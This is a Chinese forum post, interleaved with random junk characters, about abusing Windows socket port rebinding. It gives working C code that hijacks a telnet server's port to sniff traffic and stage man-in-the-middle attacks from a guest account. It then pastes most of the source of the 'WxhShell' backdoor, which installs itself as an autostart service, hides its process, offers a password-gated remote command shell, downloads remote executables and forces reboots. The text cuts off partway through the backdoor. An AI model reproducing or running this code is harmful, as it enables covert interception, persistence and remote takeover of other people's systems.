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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F~mIV;BP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X g6ezlW  
147QB+cE  
  saddr.sin_family = AF_INET; R-13DVK  
f<Hi=Qpm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); li r=0oq<  
T }}2J/sj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '+PKGmRW  
 8b2 =n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }X&rJV  
<-umeY"n>  
  这意味着什么?意味着可以进行如下的攻击: Wh)D_  
YX0ysE*V:&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;.A}c)b  
#X}HF$t{=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sS>b}u+v#!  
%c }V/v_h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pjWRd_h.  
Yq+ 1kA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y^eN}@]?&  
x#>V50E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _v,0"_"  
hJb2y`,q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z%82Vt!a5  
7z b^Z]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b dgkA  
H@Z_P p?  
  #include ;)(g$r^_i  
  #include D@O `"2  
  #include 4ba*Nc*Yc  
  #include    Z[oF4 z   
  DWORD WINAPI ClientThread(LPVOID lpParam);   -K64J5|b7  
  int main() 2B ]q1>a!  
  { oJ74Mra  
  WORD wVersionRequested; z0[XI7KK  
  DWORD ret; O *sU|jeO  
  WSADATA wsaData; h.jJAVPi  
  BOOL val; 4l$OO;B  
  SOCKADDR_IN saddr; |kYlh5/c d  
  SOCKADDR_IN scaddr; ] G&*HMtp  
  int err; %71i&T F  
  SOCKET s;  \i%'M%  
  SOCKET sc; HN7CcE+l  
  int caddsize; +[7~:e}DZ  
  HANDLE mt; :GXF=Df  
  DWORD tid;   D|:'|7l W  
  wVersionRequested = MAKEWORD( 2, 2 ); u"[f\l  
  err = WSAStartup( wVersionRequested, &wsaData ); (%my:\>l  
  if ( err != 0 ) { i9;  
  printf("error!WSAStartup failed!\n"); x[(6V'  
  return -1; ?b (iWq  
  } PsC")JS  
  saddr.sin_family = AF_INET; T8XrmR&?PX  
   C= ~c`V5>r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =&}@GsXdo  
36 "n7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cb}"giXQTB  
  saddr.sin_port = htons(23); (Xd8'-G$m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ujU,O%.n  
  { 0a~t  
  printf("error!socket failed!\n"); nf.Ox.kM)  
  return -1; -@pjEI  
  } VW-qQe  
  val = TRUE; B~p%pT S+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !J$r|IX5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FlqGexY5  
  { @!sK@&ow@%  
  printf("error!setsockopt failed!\n"); d54iZ`  
  return -1; @(t3<g  
  } 1[%3kY-h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; smP4KC"I(d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *_(X$qfoW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Nu5|tf9%A  
%5o2I_Cjz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )l3Uf&v^f  
  { <!OBpAq  
  ret=GetLastError(); a3@E`Z  
  printf("error!bind failed!\n"); $R9D L^iD  
  return -1; gjS|3ED  
  } '!HTE` Aj  
  listen(s,2); po| Ux`u  
  while(1) K@JZ$  
  { W__ArV2Z_  
  caddsize = sizeof(scaddr); #@R0$x  
  //接受连接请求 B `(jTL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3SVGx< ,2  
  if(sc!=INVALID_SOCKET) F-&tSU,  
  { EL 5+pt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J<$@X JLS  
  if(mt==NULL) ARH~dN*C  
  { akj<*,  
  printf("Thread Creat Failed!\n"); a=z] tTs4  
  break; M(%H  
  } e &6%  
  } TZn 15-O  
  CloseHandle(mt); %w`d  
  } m'o dVZ7  
  closesocket(s); .wfydu)3  
  WSACleanup(); SE'Im  
  return 0; d:=' Xs  
  }   t R^f]+Up  
  DWORD WINAPI ClientThread(LPVOID lpParam) LrB 0x>  
  { x~5uc$  
  SOCKET ss = (SOCKET)lpParam; R~vGaxZ$  
  SOCKET sc; d$t"Vp  
  unsigned char buf[4096]; Q:}]-lJg  
  SOCKADDR_IN saddr; 2HX/@ERhmu  
  long num; 0SQ!lr  
  DWORD val; ~ao:9 ynY  
  DWORD ret; YQBLbtn6(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V6]6KP#D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [Vd$FDki  
  saddr.sin_family = AF_INET; X1j8tg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iT]t`7R  
  saddr.sin_port = htons(23); Rh>B# \  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $7x2TiAL  
  { s8h*nZ)v  
  printf("error!socket failed!\n"); <b 5DX  
  return -1; \J'}CX*aQ  
  } ,f }$FZ  
  val = 100; ?nU<cxh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n]%- 2`}(  
  { |[\;.gT K  
  ret = GetLastError(); N /4E ~^2  
  return -1; 2+1ybOwb  
  } V9c.(QY|f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <c+.%ka  
  { 1`cH EAa  
  ret = GetLastError(); 2t= = <x  
  return -1; Ge^`f<f  
  } H 4<"+7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @N*|w Kc+  
  { TnrBHaxbo4  
  printf("error!socket connect failed!\n"); ;mQj2Bwr  
  closesocket(sc); #]` uH{  
  closesocket(ss); fBSa8D3}`  
  return -1; d:kB Zrq  
  } WAu>p3   
  while(1) NxP(&M(  
  { Kz HYh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lC<;Q*Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ' zyw-1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i|:!I)(lh  
  num = recv(ss,buf,4096,0); -|>~I#vY  
  if(num>0) gZ@+62  
  send(sc,buf,num,0); RGW@@  
  else if(num==0) 'I[?R&j$G  
  break; fz'qB-F Y  
  num = recv(sc,buf,4096,0); vDjH $ U  
  if(num>0) 2 bc&sU)X  
  send(ss,buf,num,0); hU?DLl:bXF  
  else if(num==0) MAh1tYs4D  
  break; I)rnF  
  } qng ~,m  
  closesocket(ss); y`I>|5[ `  
  closesocket(sc); 4f LRl-)  
  return 0 ; \xYVnjG,  
  } 4Aj~mA  
d NACE*g;q  
lF}[ YL  
========================================================== nY'V,v[F  
@16GF!.  
下边附上一个代码,,WXhSHELL rN0<y4)!  
sJ6.3= c  
========================================================== F8pA)!AH  
1lw%RM  
#include "stdafx.h" t"=5MaQk-  
{ I#>6  
#include <stdio.h> 65EMB%  
#include <string.h> 0 QTI;3  
#include <windows.h> YT(N][V  
#include <winsock2.h> rT2Njy1  
#include <winsvc.h> xo>0j#  
#include <urlmon.h> mx Nd_{n  
c^}y9% 4c  
#pragma comment (lib, "Ws2_32.lib") 6tKrR{3#A  
#pragma comment (lib, "urlmon.lib") Gwd38  
;V,L_"/X  
#define MAX_USER   100 // 最大客户端连接数 eL3 _Lz  
#define BUF_SOCK   200 // sock buffer zxR]+9Zh  
#define KEY_BUFF   255 // 输入 buffer j=r1JV @  
IeYYG^V<A  
#define REBOOT     0   // 重启 g~hMOI?KK^  
#define SHUTDOWN   1   // 关机 2` o @L  
B+W7zv  
#define DEF_PORT   5000 // 监听端口 oE ' P  
10S I&O  
#define REG_LEN     16   // 注册表键长度 ?I+L  
#define SVC_LEN     80   // NT服务名长度 8dE0y P  
CG1MT(V7?  
// 从dll定义API }gbLWx'iG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z,,"yVk`,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yE}\4_0I/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YR?Y:?(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T$;S   
';C'9k<P:  
// wxhshell配置信息 gk6f_0?X'  
struct WSCFG { /U;j-m&   
  int ws_port;         // 监听端口 ]az(w&vqg2  
  char ws_passstr[REG_LEN]; // 口令 { 4J.  
  int ws_autoins;       // 安装标记, 1=yes 0=no U1 _"D+XB  
  char ws_regname[REG_LEN]; // 注册表键名 T^v763%  
  char ws_svcname[REG_LEN]; // 服务名 .a4,Lr#q.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o[Ffa# sE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |A&;m}(Mt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Oe5rRQ$O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DU^.5f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u*C*O4f>OC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M7=,J;@  
u8-6s+ O  
}; eHr0],  
b A+_/1C  
// default Wxhshell configuration E)-;sFz  
struct WSCFG wscfg={DEF_PORT, 7zu\tCWb  
    "xuhuanlingzhe", ]8A*uyi  
    1, `~XksyT  
    "Wxhshell", }e\"VhAl/  
    "Wxhshell", 2!#g\"  
            "WxhShell Service", #^}H)>jWy  
    "Wrsky Windows CmdShell Service", 'z|Da&d P  
    "Please Input Your Password: ", UoxlEec  
  1, nxZz{&  
  "http://www.wrsky.com/wxhshell.exe", C19N0=  
  "Wxhshell.exe" Y`g oV  
    }; :\^b6"}8  
D ,kxB~  
// 消息定义模块 #`iEbiSq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DTO_IP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QAkK5,`vV.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XvI~"}  
char *msg_ws_ext="\n\rExit."; yCQvo(V[F  
char *msg_ws_end="\n\rQuit."; OAXA<  
char *msg_ws_boot="\n\rReboot..."; IxbQ6  
char *msg_ws_poff="\n\rShutdown..."; 7_\G|Zd  
char *msg_ws_down="\n\rSave to "; !v8R(  
$Cz2b/O  
char *msg_ws_err="\n\rErr!"; s#^0[ Rt  
char *msg_ws_ok="\n\rOK!"; Ul8HWk[6Iw  
bdL= ?KS  
char ExeFile[MAX_PATH]; #)'Iqaq7  
int nUser = 0; ^yW['H6V  
HANDLE handles[MAX_USER]; d6n_Hpxw^  
int OsIsNt; xJ>5 ol  
/EjXyrn2  
SERVICE_STATUS       serviceStatus; coXg]bUKo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?t 'V5$k\  
Im6gWDdq@6  
// 函数声明 cZVx4y%kz  
int Install(void); L3b0e_8>R  
int Uninstall(void); (OiV IH  
int DownloadFile(char *sURL, SOCKET wsh);  }u8(7  
int Boot(int flag); uWJJ\  
void HideProc(void); u8c@q'_  
int GetOsVer(void); Sr \y1nt  
int Wxhshell(SOCKET wsl); ;"M6}5dQ4  
void TalkWithClient(void *cs); 2"D4q(@  
int CmdShell(SOCKET sock); k A3K   
int StartFromService(void); t oGiG|L  
int StartWxhshell(LPSTR lpCmdLine); t4oD> =,92  
rl}<&aPH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KKC%!Xy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n.g-%4\q  
8:0/Cj  
// 数据结构和表定义 h *R@ d  
SERVICE_TABLE_ENTRY DispatchTable[] = l`"?K D  
{ bTJ<8q  
{wscfg.ws_svcname, NTServiceMain}, p8'$@:M\  
{NULL, NULL} |R.yuSL)(  
}; -riX=K>$  
f#z:ILG=  
// 自我安装 t+v %%N_  
int Install(void) NgTB4I 8P  
{ rd7p$e=i  
  char svExeFile[MAX_PATH]; -Cyo2wk  
  HKEY key; {py%-W  
  strcpy(svExeFile,ExeFile); O}i+ 1  
_eGYwBm  
// 如果是win9x系统,修改注册表设为自启动 C:J frg`  
if(!OsIsNt) { LDQ,SS,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V/#Ra  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '8]p]#l  
  RegCloseKey(key); a,w|r#x]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0`"oR3JY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;t0 q ?9  
  RegCloseKey(key); NVRzthg%c_  
  return 0; ^]sb=Amw  
    } x'g4DYl  
  } -J3~j kf  
} *H!BThft4  
else { %*Ex2we&  
f-18nF7{  
// 如果是NT以上系统,安装为系统服务 H=@KlSC ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j!agD_J  
if (schSCManager!=0) N>(w+h+  
{ glLVT i  
  SC_HANDLE schService = CreateService W{-g?)Tou  
  ( i.^ytbH  
  schSCManager, Rq|6d M6H  
  wscfg.ws_svcname, ) A:h  
  wscfg.ws_svcdisp, a <C?- g|  
  SERVICE_ALL_ACCESS, JOuyEPy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IL|Q-e}Ol  
  SERVICE_AUTO_START, Lf(( zk:pt  
  SERVICE_ERROR_NORMAL, 3RaW\cWzg  
  svExeFile, ulxlh8=  
  NULL, U;W9`JT<.f  
  NULL, nF'YG+;|@  
  NULL, WkXgz6 P  
  NULL, _tHhS@   
  NULL B>nj{W<o  
  ); X$5  
  if (schService!=0) ( unmf,y  
  { <\O+  
  CloseServiceHandle(schService); - )(5^OQ  
  CloseServiceHandle(schSCManager); X&WP.n)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c:m=9>3  
  strcat(svExeFile,wscfg.ws_svcname); f- (i%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \2kLj2!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xr  <H^X  
  RegCloseKey(key); +%YBa'Lk  
  return 0; /K|(O^nw  
    } di/Q Jrw  
  } US$$ADq  
  CloseServiceHandle(schSCManager); @dv8 F "v  
} ?JZ$M  
} >eA@s}_8  
e@vtJaSu  
return 1; ]mMJ6n  
} 9:p-F+  
Aax;0qGbH  
// 自我卸载 l~"T>=jq3  
int Uninstall(void) KAnV%j  
{ jh/,G5RM9  
  HKEY key; ~5+RK16  
YH\9Je%jx  
if(!OsIsNt) { y.lWyH9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |OJWQU![by  
  RegDeleteValue(key,wscfg.ws_regname); (=^KP7  
  RegCloseKey(key); ;p+'?%Y}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { To(I<W|{  
  RegDeleteValue(key,wscfg.ws_regname); :\|A.# U  
  RegCloseKey(key); 8</wQ6&|  
  return 0; =dPokLXn  
  } Kkp dcc  
} k7iko{5D  
} |^l_F1+w  
else { {V/>5pz4e  
 p?f\/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [uU!\xe  
if (schSCManager!=0) AY5iTbL1  
{ Y5tyFi#w[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T)gulP  
  if (schService!=0) ^7y t>  
  { 3`cA!ZVQ  
  if(DeleteService(schService)!=0) { GCJ[xn(_  
  CloseServiceHandle(schService); |BFzTz,o  
  CloseServiceHandle(schSCManager); T^7Cv{[  
  return 0; s21} a,eB  
  } 67iI wY*8'  
  CloseServiceHandle(schService); xuv W6Q;  
  } G{!er:Vwdh  
  CloseServiceHandle(schSCManager); 5csh8i'V  
} O?X[&t  
} mi] WZlg$  
Mq$K[]F  
return 1; ULAr!  
} jn5xYKv  
0FOB5eBR  
// 从指定url下载文件 Nhs!_-_I  
int DownloadFile(char *sURL, SOCKET wsh) dLp1l2h!0  
{ gQr+ ~O  
  HRESULT hr; g$s;;V/8e  
char seps[]= "/"; -~{Z*1`,  
char *token; O#U maNj/  
char *file; ."+lij=56  
char myURL[MAX_PATH]; ~gpxK{  
char myFILE[MAX_PATH]; Kd-1EU  
 )bF l-  
strcpy(myURL,sURL); yus3GqPI  
  token=strtok(myURL,seps); a6LL]_&g  
  while(token!=NULL) ZwDL  
  { lfj5?y  
    file=token; OL 0YjU@  
  token=strtok(NULL,seps); fF)Q;~_VA  
  } bKpy?5&>  
+b-ON@9]J`  
GetCurrentDirectory(MAX_PATH,myFILE); AfA"QCyO  
strcat(myFILE, "\\"); 1@v <  
strcat(myFILE, file); <}J !_$A  
  send(wsh,myFILE,strlen(myFILE),0); `xzKRId0  
send(wsh,"...",3,0); B4b'0p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |H t5a.  
  if(hr==S_OK) z&gma Ywq  
return 0; (S!UnBb&  
else `2 <:$]  
return 1; itzUq,T  
FC1rwXL(  
} }i!+d,|f  
.rK0C)  
// 系统电源模块  _BP%@o  
int Boot(int flag) ^f,4=-  
{ !Axe}RD'  
  HANDLE hToken; !}!KT(% %  
  TOKEN_PRIVILEGES tkp; :C_/K(Rkl  
(C. $w  
  if(OsIsNt) { )5b_>Uy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <'4Wne.z!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r)|~Rs!y,  
    tkp.PrivilegeCount = 1; LWM<[8wJ4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =v<w29P(g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YcA. Bn|as  
if(flag==REBOOT) { %k#+nad  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w<H Xe  
  return 0; qO"QSSbZqQ  
} G^ GIHdo  
else { U(f@zGV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gt&yz"?D  
  return 0; X)!XR/?  
} 9Q1%+zjjMq  
  } sg,\!'  
  else { `&A`&-nc=  
if(flag==REBOOT) { ,w~3K%B4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1x_EAHZ>7  
  return 0; U:*rlA@_.  
} rT` sY  
else { xq;>||B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >2s6Y  
  return 0; :=B.)]F.)  
} E.*hY+kGZ  
} J920A^)j!  
0HWSdf|w  
return 1; KF'fg R  
} c$  /.Xp  
/ <(|4e  
// win9x进程隐藏模块 ~3 bV~H#~m  
void HideProc(void) {Z/iYHv~#c  
{ Xgx/ubca0  
?c?@j}=?yY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c= t4 gf  
  if ( hKernel != NULL ) c6F?#@?   
  { }p?,J8=-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l?)>"^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wq3PN^  
    FreeLibrary(hKernel); h^(U:M=A  
  } T)e2IXGN  
fc~fjtqwvz  
return; D]E=0+  
} 6{5T^^x?<  
'yCVB&`b  
// 获取操作系统版本 FC+-|1?C  
int GetOsVer(void) %/3+:}@G  
{ >c0leT  
  OSVERSIONINFO winfo; rS>.!DiYr,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MX]#|hEeQ  
  GetVersionEx(&winfo); Lz1KDXr`)+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |WaWmp(pQ  
  return 1; |$/#,Dv7  
  else @rT$}O1?`  
  return 0; F2zo !a8  
} Ei:m@}g  
nN&dtjoF  
// 客户端句柄模块 M;XU"8  
int Wxhshell(SOCKET wsl) #Tc`W_-  
{ Mc c%&j  
  SOCKET wsh; 3DO*kM1s@  
  struct sockaddr_in client; oPs asa  
  DWORD myID; B4un6-<i  
2`Bb9&ut>  
  while(nUser<MAX_USER) Q.$/I+&j  
{ P>q~ocq<  
  int nSize=sizeof(client); U>kaQ54/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (A2ga):Pk  
  if(wsh==INVALID_SOCKET) return 1; jk`U7 G*  
IsT}T}p,t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uhvy 2}w  
if(handles[nUser]==0) :Jyr^0`J  
  closesocket(wsh); Pm P&Qje7  
else 9=}#.W3.  
  nUser++; )Jvo%Y  
  } IgJG,!>h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |d&Kr0QIV  
c*#$sZ@YA  
  return 0; d0T 8Cwc b  
} .?#Q(eLj  
jA^yUd-  
// 关闭 socket N#-%b"(  
void CloseIt(SOCKET wsh) -5e8m4*  
{ L2Cb/!z`c  
closesocket(wsh); 0>m$e(Z  
nUser--; alRz@N  
ExitThread(0); 5n>zJ ~  
} MX*4d{l  
_H U>T  
// 客户端请求句柄 6 [bQ'Ir^8  
void TalkWithClient(void *cs) N\ <riS9  
{ }qGd*k0F0  
wy|b Hkr_  
  SOCKET wsh=(SOCKET)cs; i*l =xW;bM  
  char pwd[SVC_LEN]; xX%{i0E  
  char cmd[KEY_BUFF]; I RLAsb3  
char chr[1]; "$5cKbJ  
int i,j; TyO]|Q5  
yz3=#  
  while (nUser < MAX_USER) { ^VzhjKSu  
7lYf+&JZ  
if(wscfg.ws_passstr) { pbh>RS=ri  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }x6)}sz7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "w 4^i!\  
  //ZeroMemory(pwd,KEY_BUFF); LTx,oa:ma  
      i=0; @}^VA9ULK  
  while(i<SVC_LEN) { ~d<&OL  
tHqa%  
  // 设置超时 Jl\U~i  
  fd_set FdRead; \1?'JdN  
  struct timeval TimeOut; GS>YfJ&DZ  
  FD_ZERO(&FdRead); .5SYN -@  
  FD_SET(wsh,&FdRead); @(6P L^I  
  TimeOut.tv_sec=8; iqoMQ7%  
  TimeOut.tv_usec=0; tw 3zw`o:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); owa&HW/_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sOz {spA  
bWp)'mx5u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yz>S($u  
  pwd=chr[0]; eF0FQlMe[  
  if(chr[0]==0xd || chr[0]==0xa) { U |eh  
  pwd=0; AH#a+<;a  
  break; v! DU ewz  
  } y]!#$C /  
  i++; e~he#o[%a  
    } >C{8}Lg-.  
6*1f -IbV  
  // 如果是非法用户,关闭 socket $? Z}hU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .LM|@OeaD!  
} _`*G71PS  
//3fgoly  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `"V}Wq ?I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -jNnx*  
rw 2i_,.*~  
while(1) { B}zBbB  
;*Mr(#R  
  ZeroMemory(cmd,KEY_BUFF); !gsrPM  
^!O!HMX0  
      // 自动支持客户端 telnet标准   a&kt!%p:  
  j=0; B$OV^iwxK  
  while(j<KEY_BUFF) { 6 %`h2Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p")"t`k7  
  cmd[j]=chr[0]; UZ-pN_!Z:  
  if(chr[0]==0xa || chr[0]==0xd) { KAVkYL0  
  cmd[j]=0; ~4#D G^5  
  break; M`iE'x  
  } P=P']\`p+  
  j++; ~USyN'5lU7  
    } @d8Nr:  
2#qc YU  
  // 下载文件 CCC9I8rZD  
  if(strstr(cmd,"http://")) { )2^r 0(x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [k%u$  
  if(DownloadFile(cmd,wsh)) k8+U0J_{'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SEWdhthP  
  else k:mW ,s|a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :"nh76xg<  
  }  Ew;AYZX  
  else { `Um-Y'KE  
9[ &q C  
    switch(cmd[0]) { 6\UIp#X  
  t8lGC R  
  // 帮助 "fN 6_*  
  case '?': { oBnes*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YJDJj x  
    break; AnE] kq u  
  } @d0~'_vtB  
  // 安装 oOLj? 0t  
  case 'i': { _$vbb#QXZG  
    if(Install()) T' Jl,)"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =RM]/O9  
    else IQ$6}.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wZ`*C mr  
    break; UsCaO<A  
    } 6@:<62!;  
  // 卸载 {XC[Ia6jtL  
  case 'r': { @bAu R  
    if(Uninstall()) E8lq2r=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F[B=sI  
    else p9MJa[}V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '!MKZKer  
    break; s gZlk9x!Q  
    } 6 !Mm")  
  // 显示 wxhshell 所在路径 qd'Z|'j  
  case 'p': { ts,V+cEA  
    char svExeFile[MAX_PATH]; `4Fw,:+e  
    strcpy(svExeFile,"\n\r"); m,5?|J=  
      strcat(svExeFile,ExeFile); lG[j,MDs  
        send(wsh,svExeFile,strlen(svExeFile),0); qJ~fEX  
    break;  7?vj+1;  
    } @L 6)RF  
  // 重启 tHM0]Gb}  
  case 'b': { OeZ"WO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HqyAo]{GN  
    if(Boot(REBOOT)) JZ> (h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SC3_S.  
    else { d<m.5ECC}  
    closesocket(wsh); #oR@!?  
    ExitThread(0); fgA-+y  
    } ]T.+(\I  
    break; rzvKvGd#N  
    } 0q]0+o*%  
  // 关机 L)9Z Op5  
  case 'd': { 9.9B#?  
